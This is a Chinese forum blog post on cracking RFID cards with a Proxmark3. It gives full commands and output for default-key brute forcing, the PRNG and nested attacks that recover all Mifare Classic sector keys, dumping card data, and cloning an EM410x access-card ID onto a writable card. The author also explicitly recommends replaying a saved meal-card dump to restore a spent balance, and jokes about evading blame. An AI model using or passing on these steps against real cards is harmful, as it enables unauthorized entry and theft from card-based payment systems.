RFID安全：浅谈卡片破解

闲来无事，就去淘了块Proxmark3，用来研究卡片破解，AU122也可以嗅探，但是远远不及Proxmark3，无论是价格还是配置方面，最近这段时间，PM3 要出 V4.0版本，将会拥有变色龙（德国友人做的一款同样的RFID安全设备）的能力。

RFID技术简介

射频识别，RFID（Radio Frequency Identification）技术，又称无线射频识别，是一种通信技术，可通过无线电讯号识别特定目标并读写相关数据，而无需识别系统与特定目标之间建立机械或光学接触。

射频的话，一般是微波，1-100GHz，适用于短距离识别通信。

RFID读写器也分移动式的和固定式的，目前RFID技术应用很广，如：图书馆，门禁系统，食品安全溯源等。

RFID层次的安全问题，我只用一些较常见的卡片写在本文进行探讨，全加密卡，CPU卡，以及金额修改等相关详细我并不会在此文写出。

常见的卡片

1.Mifare S50 (简称M1） 频率是高频 13.56M 这是最常见的卡，每张卡独一无二UID号，可存储或者修改数据，类似卡片有（学生卡。饭卡，公交卡，门禁卡）

2.Mifare UItarlight(简称MO） MO卡片频率是高频，成本很低，出厂的时候写死了UID，可存储修改数据，类似卡片（地铁卡，公交卡）

3.Mifare UID （简称UID卡） 频率是高频 是属于M1卡的变异版本，可修改UID卡，俗称的魔术卡，可以克隆完整的 M1 S50 的数据。

4.EM4XX （简称ID卡） 频率是低频 用的地方是低成本的门禁卡，小区门禁卡，停车场门禁卡这种，特点是 只能读，不能写。

5.T5577 （可随意修改ID卡） 频率低频，特点是可以用来克隆ID卡，出厂设置就是空卡。

6.HID Prox II (简称 HID） 频率低频 特点是可以插写。

设备信息如下：

Proxmark3,支持低高频的读写克隆，支持暴力破解密码，支持漏洞攻击。

右侧是一块高频信息读取区，左边包含了USB接口和几个小彩灯，以及各种芯片若干。

卡片信息如下：

上文所说明的卡，基本都齐了，我待会会用各种卡片进行讲解。

安装完成大概是这个样子。

红圈的地方就是低频读卡区，将卡片放在这个位置即可读取。
静静靠着他的地方，即是高频所在的区域。

思路：

卡片的安全性测试，我个人的总体流程就是如下：

首先，判断卡的类型，是IC还是ID。

如果是ID卡，那么

读卡片ID→换白卡→写入ID卡号→克隆完成→攻击成功

ID卡是低频卡，思路比较简单，IC卡为高频卡，攻击的思路可不少。

IC卡的总体思路如下：

漏洞测试→获取全卡数据→换上UID卡→写入数据→攻击成功

如果执行数据修改，思路如下：

漏洞测试→读全卡数据→解密卡片数据→破解厂商算法→修改数据→攻击成功。

IC卡攻击思路如下：

1.获得任意扇区的密码

1.1 PRNG漏洞攻击得到0扇区的密码
1.2 默认密码扫描获得密码
1.3 嗅探读卡机和卡片交互的时候获得密码，这种方式需要现场进行交互，不太方便。

2.利用 MFOC漏洞，可以暴力破解得到所有扇区的密匙。

M1 S50卡片破解实录

实验环境是Windows7，我没有使用Linux的，我的Linux机器是Kali linux版本，没有安装相关的驱动，就用Window的命令行进行演示。

使用命令 hw tune 测试高低频的天线是否没有问题，这里给出了频率，说明硬件正常工作中，进入下一步的测试。

(1）检测卡的类型

这条命令可以用来检测卡是属于什么卡，命令为 hf 14a reader

我们将我们的测试卡放置到读卡区内，输入命令进行读取。

返回结果：

proxmark3> hf 14a reader
ATQA : 00 04
UID : c0 68 ca d4
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
proxmark3>

TYPE即是他的卡片属性，当你看到“NXP MIFARE CLASSIC 1k | Plus 2k SL1”的时候，就代表这是M1 S50的卡片，这种卡片出厂就是自带了加密的，密码不可以取消。既然知道了是什么卡片，那么就可以进行安全测试。

（2）暴力破解卡片密码

上文我们讲到了M1 S50卡片出厂自带的密码，那么我们想知道其中的数据，肯定要先对卡片进行一次密码破解，关于密码破解的命令如下：

hf mf chk *1 ? t

这条命令会枚举每个扇区的密码，然后执行一系列自动操作。

如图所示，Proxmark3开始执行破解，可以从图中看到，已经获得了一些明文密钥，

proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block:  3, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 1, block:  7, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 2, block: 11, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 3, block: 15, key type:A, key count:13

贴出了部分返回信息，可以看到，Promark3自带的字典密码都已经显示，此时Proxmark3是开始测试常用的密码，接下来会用这些密码去验证扇区的密码。

--sector: 0, block:  3, key type:A, key count:13
  Found valid key:[ffffffffffff]

这条命令需要说明的是，这代表了验证成功，0扇区的卡片密码是“ffffffffffff"，如果卡片不存在这个默认的密码，则不会出现提示。

有意思是，Proxmark的字典里自带的这12种密码，包含了世界范围内发行的RFID卡片默认出厂钥匙，而国内的卡片出厂一般都是“ffffffffffff”

（3）执行漏洞攻击

接下来我们可以用PRNG漏洞进行攻击，命令如下：

hf mf mifare

通过这种方式同样可以获得卡片的Key，但并不是所有的卡片都存在这种漏洞，如果不存在PRNG漏洞，就需要使用另外的方法来获得卡片的Key

（4）得到卡片的所有密码

上面我提到了，对于IC卡，只需要获得一个密码就可以了，因为我们在后边可以用暴力破解的方式进行获取全卡密码。

它的指令如下：

hf mf nested 1 0 A FFFFFFFFFFFF d

这是利用一个认证漏洞，可以使用任何一个扇区的密码来获取所有扇区的密码，这种破解方式的成功率相当高。

-----------------------------------------------
Iterations count: 12


|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  740f6dXXXXXX  | 1 |  740f6dcXXXXX  | 1 |
|011|  740f6dXXXXXX  | 1 |  740f6dXXXXXX  | 1 |
|012|  740f6dXXXXXXX | 1 |  740f6dXXXXXX  | 1 |
|013|  740f6dXXXXXX  | 1 |  740f6XXXXXXX  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
proxmark3>

RES的意思是代表结果，1是密码正确，0代表密码错误。

既然我们已经知道了卡所有扇区的密码，即可导出分析了。

（5）导出数据

卡片已经攻击完成，获得了所有密匙，那么执行最后的操作，来导出卡片数据以供我们分析。

其实在上条命令里就已经生成了数据文件，bin后缀。

如果要写入其他卡片，需要将bin格式转换为eml格式，这个格式才会被Proxmark3调取并写入其他卡片。

IC卡破解总结：

克隆比较简单，修改金额要算算法，相对麻烦，不过我提供一个思路，比如修改饭卡，第一次充值200进去，把全卡数据读出来，保存。接下来你放心吃，安心吃，200吃完了，把上次保存的200饭卡数据重新写入，这样卡里又是200，你又可以安心吃了，比算算法简单十倍百倍，不过我希望你不会发生意外。

注：日后若是惹祸，不要把为师说出来就行了，你就说这是你自己原创的。

ID卡的破解实例

ID卡低频卡的破解方法较为简单，直接读取卡号就行，因为生活中的低频卡，都是写死了ID号，也就只能用克隆的方式进行。

proxmark3> lf search
#db# Sampling config:
#db#   [q] divisor:           95
#db#   [b] bps:               8
#db#   [d] decimation:        1
#db#   [a] averaging:         1
#db#   [t] trigger threshold: 0
#db# Done, saved 40000 out of 40000 seen samples at 8 bits/sample

#db# buffer samples: 08 00 00 00 00 00 00 00 ...
Reading 20000 bytes from device memory

Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
 if it finds something that looks like a tag
False Positives ARE possible


Checking for known tags:

EM410x pattern found:

EM TAG ID      : 700026f685
Unique TAG ID  : 0e00646fa1

Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8          : 02553477
DEZ 10         : 0002553477
DEZ 5.5        : 00038.63109
DEZ 3.5A       : 112.63109
DEZ 3.5B       : 000.63109
DEZ 3.5C       : 038.63109
DEZ 14/IK2     : 00481038890629
DEZ 15/IK3     : 000060136124321
DEZ 20/ZK      : 00140000060406151001
}
Other          : 63109_038_02553477
Pattern Paxton : 1882928261
Pattern 1      : 0x19F295 - 1700501
Pattern Sebury : 63109 38 2553477  (hex: F685 26 26F685)

Valid EM410x ID Found!
proxmark3>

文中的“700026F685”即是这张ID卡的卡号。

接着换上新的卡片，写入数据，执行克隆卡号的攻击。

proxmark3> lf em4x em410xwrite 700026F685 1 64
Writing T55x7 tag with UID 0x700026f685 (clock rate: 64)        
proxmark3> #db# Started writing T55x7 tag ...                
proxmark3> #db# Clock rate: 64                
proxmark3> #db# Tag T55x7 written with 0xffbc000159e6454e

这样子，一次ID卡的攻击也完成了。

无卡破解

无卡破解需要一定的成本，比如需要将Proxmark3进行改装，一直用供电，然后使Proxmark3发出模拟卡片的信号，让Proxmark本身变成一张ID卡。

我在写这篇文章的几天前录了一次电梯门卡的破解过程，但是很无语的地方是，我的iPhone中了特殊字符攻击，直接导致了白苹果，下场就是刷机了，视频搞丢了，只有一份发在朋友圈的10秒视频。

原本我已经找到了一个较为模糊的完整版视频，但是，我尝试了各个视频网进行外链提供播放，都给我删了，不过审。

也有可能是视频我录的太直接了...

最后，RFID射频技术应用的场景很多，有兴趣的同学可以继续深入。

本文由看雪论坛 毅种循环 原创

转载请注明来自看雪社区

往期热门阅读：

点击阅读原文/read，

更多干货等着你~

扫描二维码关注我们，更多干货等你来拿！